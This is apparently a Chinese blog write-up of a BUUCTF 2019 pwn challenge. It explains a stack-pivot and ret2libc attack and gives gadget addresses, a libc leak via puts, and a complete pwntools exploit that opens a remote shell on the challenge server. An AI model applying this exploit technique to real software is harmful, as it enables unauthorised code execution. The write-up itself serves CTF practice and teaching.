先checksec看保护:
ida看主程序:
主要部分图片已经说了,由于最多只能往s中写入224字节,padding占据208字节,fake ebp是8字节,ret是8字节,便填满了,由于此处没有backdoor,于是想到栈迁移,在s上部署system("/bin/sh"),在leave_ret到s栈的地址,实行system("/bin/sh")
思路分析:
1.先ROPgadget获得leave_ret,ret,pop_rdi_ret的地址,为后面做准备
ROPgadget --binary actf --only "pop|ret" | grep rdi
0x0000000000400ad3 : pop rdi ; ret
ROPgadget --binary actf --only "leave|ret"
Gadgets information
============================================================
0x0000000000400a18 : leave ; ret
0x0000000000400709 : ret
0x0000000000400782 : ret 0x2008
2.先获得puts的真实地址,泄露libc基地址,简单的ret2libc
p.sendlineafter(">",'224')
p.recvuntil("Your message will be saved at ")
stack_addr = int(p.recvuntil(b'\n',drop=True),16)
#drop=True是说recv的东西不保留recvuntil的b'\n'
print(f'[+][+][+]stack_address = {stack_addr}')
payload = cyclic(8)
payload += flat(pop_rdi_ret,puts_got,puts_plt,main)
payload = payload.ljust(0xd0,b'a')
payload += flat(stack_addr,leave)
p.send(payload)# 注意是send
p.recvuntil("Byebye~\n")
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(f'[+][+][+] puts_address = {hex(puts_addr)}')
libc = LibcSearcher('puts',puts_addr)
3.获得了libc版本,那么便可以得到system和bin_sh地址:
base = puts_addr - libc.dump('puts')
system = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
4.与2几乎一样的payload,这里要注意64位的堆栈平衡,不加ret我是没有打通远程的:
p.sendlineafter(">",'224')
p.recvuntil("Your message will be saved at ")
stack_addr = int(p.recvuntil(b'\n',drop=True),16)
print(f'[+][+][+]stack_address = {stack_addr}')
payload1 = cyclic(8) + flat(pop_rdi_ret,bin_sh,ret,system)
#注意上方payload的ret
payload1 = payload1.ljust(0xd0,b'a')
payload1 += flat(stack_addr,leave)
p.recvuntil('>')
p.send(payload1)
p.interactive()
ok,思路每一步分析完毕。
完整的exp:
from pwn import *
from LibcSearcher3 import *
context(arch='amd64',log_level='debug')
p=remote("node5.buuoj.cn",27725)
elf = ELF("./actf")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x04008F6
pop_rdi_ret = 0x0000000000400ad3
leave = 0x0000000000400a18
ret = 0x0000000000400709
#第一部分,栈迁移泄露libc基地址
p.sendlineafter(">",'224')
p.recvuntil("Your message will be saved at ")
stack_addr = int(p.recvuntil(b'\n',drop=True),16)
print(f'[+][+][+]stack_address = {stack_addr}')
payload = cyclic(8)
payload += flat(pop_rdi_ret,puts_got,puts_plt,main)
payload = payload.ljust(0xd0,b'a')
payload += flat(stack_addr,leave)
p.send(payload)
p.recvuntil("Byebye~\n")
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(f'[+][+][+] puts_address = {hex(puts_addr)}')
libc = LibcSearcher('puts',puts_addr)
#第二部分得到system,bin_sh
base = puts_addr - libc.dump('puts')
system = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
#第三部分再次栈迁移,实行攻击
p.sendlineafter(">",'224')
p.recvuntil("Your message will be saved at ")
stack_addr = int(p.recvuntil(b'\n',drop=True),16)
print(f'[+][+][+]stack_address = {stack_addr}')
payload1 = cyclic(8) + flat(pop_rdi_ret,bin_sh,ret,system)
payload1 = payload1.ljust(0xd0,b'a')
payload1 += flat(stack_addr,leave)
p.recvuntil('>')
p.send(payload1)
p.interactive()
用的是LibcSearcher3,关于这个可以看我的这篇博客,里面有提到:
发送exp:
选的是0,然后就打通了。
总结:
1.还是要先整理好攻击的思路,明确步骤。
2.栈迁移中的过程要熟悉掌握,以后有时间会写一篇栈迁移文章
标签:BUUCTF,addr,puts,ret,payload,2019,pwn,recvuntil,stack From: https://blog.csdn.net/zwb2603096342/article/details/139299524